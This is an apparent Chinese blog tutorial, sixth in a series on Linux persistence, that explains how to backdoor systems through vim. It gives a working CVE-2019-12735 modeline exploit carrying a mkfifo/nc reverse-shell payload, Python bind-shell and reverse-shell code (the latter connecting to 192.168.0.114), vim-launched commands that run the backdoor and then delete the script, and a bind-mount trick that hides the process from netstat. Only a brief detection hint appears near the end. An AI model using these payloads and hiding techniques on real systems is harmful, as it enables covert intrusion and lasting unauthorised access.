Linux权限维持(六)

vim后门

vim modeline(CVE-2019-12735)

该漏洞存在于编辑器的 modeline功能,部分 Linux 发行版默认启用了该功能,macOS 是没有默认启用。 当 vim 打开一个包含了 vim modeline 注释行的文件时,会自动读取这一行的参数配置并调整自己的设置到这个配置。vim默认关闭modeline。

开启命令:

vim ~/.vimrc
​
set modeline

当前目录下创建文件:

echo ':!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="' > hello.txt
​
vim hello.txt
​
uname -a

那么如果我们想要反弹shell:

:!rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 9999 >/tmp/f||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

然后进行连接即可。

vim python扩展后门

适用于安装了vim且安装了 python 扩展(绝大版本默认安装)的linux系统。

正向后门:

from socket import *
import subprocess
import os, threading, sys, time
​
if __name__ == "__main__":
        server=socket(AF_INET,SOCK_STREAM)
        server.bind(('0.0.0.0',11))
        server.listen(5)
        print ('waiting for connect')
        talk, addr = server.accept()
        print ('connect from',addr)
        proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk,
                stdout=talk, stderr=talk, shell=True)

反向后门:

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.0.114",14575))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]);

一般来说我们是做一个正向连接后门,因为反向后门的代码里面没有循环,并不能进行长时间的连接。

cd /usr/lib/python2.7/site-packages && $(nohup vim -E -c "pyfile dir.py"> /dev/null 2>&1 &) && sleep 2 && rm -f dir.py
​
$(nohup vim -E -c "py3file dir.py"> /dev/null 2>&1 &) && sleep 2 && rm -f dir.py

其中,恶意脚本 dir.py 的内容可以是任何功能的后门,比如上面的监听本地11端口。

隐藏后门

(nohup vim -E -c "py3file dir.py"> /dev/null 2>&1 &)
##将nohup的执行结果输出到/dev/null中。
##其中/dev/null在linux中代表空设备,结果输出到空设备也就是丢弃nohup的执行结果。
## “2”在linux中代表错误输出,“1”在linux中代表标准输出,在此处也就是nohup的输出。2>&1表示将错误输出绑定到标准输出上,在此处也就是将错误输出同样输出到空设备上不进行显示。这样,无论nohup执行结果是否正确,都不会有输出。

将netstat -anpt 查看到的可疑连接隐藏起来,解决方法: 既然是后门,那么就不能留下自己创建的文件,可以将删除命令直接拼接到命令上在,在执行完正向连接的代码后将其删除:

(nohup vim -E -c "py3file dir.py"> /dev/null 2>&1 &) && sleep 2 && rm -f dir.py

可以发现,我们已经在本地做了一个11端口的监听,接着就可以利用kali直接进行连接。

而且我们的恶意文件 dir.py 也已经进行删除清理。

当然,我们也可以利用进程隐藏来清理痕迹:

隐藏进程

mkdir null
mount --bind null /proc/3036    ##为vim的进程号
netstat -anpt
​
#mount --bind命令是将前一个目录挂载到后一个目录上,所有对后一个目录的访问其实都是对前一个目录的访问,并且会将前一个目录路径隐藏起来(注意这里只是隐藏不是删除,数据未发生改变,仅仅是无法访问了)。

在进行检测的时候可以通过 cat /proc/$$/mountinfo 看到挂载的目录:

通过sudo umount /proc/进程号 来取消挂载。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值